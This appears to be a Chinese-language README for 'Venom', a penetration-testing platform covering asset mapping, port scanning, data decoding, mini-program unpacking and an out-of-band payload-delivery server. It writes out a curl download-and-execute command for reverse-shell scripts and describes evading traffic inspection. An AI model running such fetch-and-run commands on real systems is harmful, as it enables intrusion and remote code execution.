简介Venom是专为渗透测试工程师和安全研究员设计的新一代集成化安全测试平台。在传统安全工具分散、操作复杂的痛点下Venom 通过模块化设计将多种安全检测功能整合于统一界面提供从资产发现到漏洞利用的全链路攻击模拟能力。区别于市面上笨重的安全套件Venom 采用 Electron Vue3 构建的现代化界面配合高并发的扫描引擎让安全测试更加高效精准。⚡ 核心功能功能模块核心价值技术特性 极速端口扫描快速资产发现多线程并发、服务指纹识别开发中、HTTP存活探测开发中、实时进度监控开发中️ 空间测绘聚合网络资产侦察聚合 FOFA/Hunter 等多源测绘情报打破数据孤岛快速收敛攻击面并锁定高价值目标 。 数据处理工坊快速处理数据内置零代码 JSON 智能清洗引擎与全能加解密含国密 SM2/3/4秒级完成复杂数据的提取与还原 。 OOB 战术套件网络工具提供私有化 DNSLog 与 Payload 投递服务构建隐蔽带外通道有效突破流量审查与无回显限制 。 小程序逆向移动端安全深度解析 Wxapkg 源码结构自动化提取配置文件与敏感密钥协助规避移动端信息泄露风险 。️ 间影·特战版发掘影子资产专注于挖掘前端不可见却承载核心逻辑的“影子资产”系统性评估隐藏接口的越权与逻辑漏洞 。️ 武器库启动器便捷工具管理支持自定义集成第三方实战工具如 jar包工具/Burp等打造个性化的一站式渗透测试作战指挥台 。其他功能待开发中望大家积极提供思路和想法️ 安装项目地址https://github.com/Zcentury/Venom/releases/latest 点击进入下载可能遇到的问题如果MacOS提示Venom已损坏无法打开。你应该将它移到废纸篓。解决方法sudo xattr -dr com.apple.quarantine /Applications/Venom.app如果出现引擎无法自动下载情况可以采用手动下载方式引擎下载地址https://github.com/Zcentury/Venom-Engine/releases/latest引擎存放路径Windows:C:\Users\{{username}}\AppData\Roaming\Venom\enginemacOS:/Users/{{username}}/Library/Application Support/Venom/engine然后将对应架构的引擎放入该目录重新启动程序 使用场景一 资产测绘与边界突破打破数据孤岛从互联网侧快速收敛攻击面。空间测绘集成内置FOFA / Hunter / QuakeAPI支持一键检索目标资产快速获取 IP、端口及服务指纹 。极速端口扫描将测绘结果直接导入扫描引擎开启多线程探测。支持自定义端口组如企业内网 Top100 端口实时监控扫描进度与存活状态 。场景二 数据清洗与加解密告别繁琐的 Python 脚本一站式处理杂乱数据。智能 JSON 提取面对海量 API 返回包无需手写正则。直接粘贴 JSON 数据输入data.list.phone即可秒级提取数万行中的关键字段如手机号、Token。全能加解密工坊编码转换支持 Base64 / Hex / URL / Unicode 等常见编码的一键互转 。国密支持内置SM2 / SM3 / SM4及 AES / RSA 算法轻松应对国内开发环境的加密数据分析 。数据对比快速比对两次请求/响应的文本差异精确定位参数变化。场景三 OOB 带外攻击辅助专为无回显漏洞Blind RCE/SSRF设计的验证利器。私有 DNSLog一键生成专属子域名如 xxx.xxx.xxx实时监听 DNS 解析记录完美绕过对公开 Log 平台的封锁Payload 极速投递内置轻量级 HTTP 文件服务支持一键上传 EXP 或反弹 Shell 脚本。自动生成下载执行命令如curl -L http://... -o echo.sh bash echo.sh大幅缩短漏洞利用窗口 。curl -L http://xxxxxxx/file/2/file -o echo.sh chmod x echo.sh bash echo.shDnslog场景四 小程序反编译Wxapkg 逆向拖入小程序包即可自动解包。系统会自动解析目录结构提取app-service.js等核心源码 。自动识别并提取小程序中调用的所有 API 接口URL等常用信息帮助小程序开发者对小程序进行排查和风险收敛。可自定义解析规则场景五️ 武器库作战中控打造你的个人专属渗透操作系统。工具链编排通过“快捷方式”模块将Burp Suite, Cobalt Strike, JAR包等常用工具集成至 Venom 面板。自定义启动支持配置特定启动参数如java -jar burp.jar实现单点登录般的流畅体验无需在杂乱的文件夹中寻找工具 。